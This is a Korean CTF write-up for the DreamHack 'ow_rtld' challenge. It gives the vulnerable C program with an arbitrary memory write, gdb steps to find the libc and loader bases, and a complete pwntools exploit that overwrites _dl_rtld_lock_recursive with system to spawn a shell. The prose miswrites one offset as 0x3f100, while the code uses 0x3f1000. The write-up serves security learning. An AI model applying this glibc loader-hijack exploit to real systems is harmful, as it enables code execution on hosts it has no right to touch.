코드분석
// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
- stdout으로 라이브러리 주소 출력
- 입력한 addr주소에 data 삽입 ⇒ 주소 쓰기 취약점
익스플로잇
라이브러리와 로더의 베이스 주소를 알아내보자
vmmap명령어로 라이브러리인 libc-2.27.so가 매핑된 주소와 로더인 ld-2.27.so가 매핑된 베이스 주소를 알아낼 수 있음
강의자료처럼 entry -> vmmap 순으로 하면 실행이 안됨
starti명령어로 실행시키면 entry point주변에 bp가 걸려있는걸 확인할 수 있는데
c누른 후 vmmap치면 다음과 같이 뜬다

각각 0x7ffff79e4000와 0x7ffff7dd5000

두 주소의 차이는 0x3f100
이제 _rtld_global 구조체 주소를 구해보자
ld addr + _rtld_global offset = _rtld_global addr
_rtld_global 구조체 내 멤버 변수의 오프셋을 알아내려면 구조체 이름 뿐만 아니라 그 안의 멤버 변수 정보까지 담고 있는 디버깅 심볼이 필요하므로 libc와 ld의 Glibc버전을 알아내고 해당 버전에 상응하는 디버깅 심볼을 다운받자

2.27-3ubuntu1가 해당하는 Glibc의 상세 버전이다
다운로드 하는 명령어
$ wget http://launchpadlibrarian.net/365856914/libc6-dbg_2.27-3ubuntu1_amd64.deb
다운로드한 .deb 파일을 추출하여 현재 디렉토리에 저장
$ dpkg -x libc6-dbg_2.27-3ubuntu1_amd64.deb ./
usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 파일을 gdb로 열고
_dl_load_lock과 _dl_rtld_lock_recursive 함수 포인터의 주소를 구해보자

_rtld_global 구조체로부터 2312과 3840 뒤에 위치함
이제 _dl_rtld_lock_recursive를 라이브러리 함수 system으로 덮어쓰고, dl_load_lock 주소에 “sh” 또는 “/bin/sh” 문자열을 쓰면 셸을 획득할 수 있다
익스플로잇 코드를 짜보자
from pwn import *
p = process('./ow_rtld')
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc_base..', hex(libc_base))
print('ld_base..', hex(ld_base))
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()

flag가 나온다
'CTF > Pwnable' 카테고리의 다른 글
| [DreamHack] _IO_FILE Arbitrary Address Write Write-up (0) | 2024.03.30 |
|---|---|
| [DreamHack] send_sig Write-up (0) | 2024.03.30 |
| [DreamHack]linux_forest Write-up (0) | 2024.03.27 |
| [DreamHack] binary_fix_tool Write-up (0) | 2024.03.24 |
| [DreamHack] cpp_type_confusion Write-up (0) | 2024.03.24 |